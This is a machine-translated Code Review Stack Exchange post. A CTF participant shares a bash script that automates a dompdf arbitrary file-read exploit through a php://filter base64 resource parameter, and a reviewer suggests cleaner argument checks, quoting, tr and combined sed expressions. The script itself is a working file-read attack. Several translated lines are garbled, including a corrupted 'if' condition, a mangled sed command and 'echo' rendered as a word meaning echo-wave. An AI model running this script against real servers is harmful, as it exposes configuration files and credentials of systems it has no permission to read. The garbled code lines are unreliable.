在一个CTF过程中,我遇到了dompdf漏洞,这在开发b中得到了解释。
但是,当我执行该漏洞时,它以PDF格式提供给了我,并且不断地读取文件内容(读取、剥离和base64解码)是一种痛苦。所以我制作了一个bash脚本来自动完成这些事情。
我对结果很满意,但我想也许有一种方法可以将这些双sed
分解为一个Regex捕获。这是因为[( ... )]
在结果字符串中是唯一的。
#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d
发布于 2018-04-06 21:25:31
我发现这是一种不寻常的验证脚本参数的方法:
如果\x{e76f}那么
更常见的方法是验证确实有两个参数:
if [ $# != 2 ]; then
请注意,这与原来的不完全相同。原始验证$1
和$2
都不是空的,并且它静默地允许超过2个参数。
echo
是个子壳?这个echo
的目的是什么:
回波
curl --silent $URL
而不是简单地:
curl --silent $URL
如果目的是将多行连接成一个,我将使用tr
:
curl --silent "$URL" | tr -d '\n'
# or
curl --silent "$URL" | tr '\n' ' '
这样写,目的就更清楚了。另一个优势是简化处理程序。还请注意,我在用作命令参数的$URL
周围添加了双引号,这是一个很好的经验规则,可以防止意外的分词和全局现象。
sed
来统治他们所有的而不是这样:
sed‘S/*[(//’sed‘S/)]。*//
可以使用多个sed
参数对单个-e
进行多个表达式:
sed -e 's/.*\[(//' -e 's/)\].*//'
为了达到最大的清晰度,我使用-e
,即使只使用单个表达式。
https://codereview.stackexchange.com/questions/191225
复制相似问题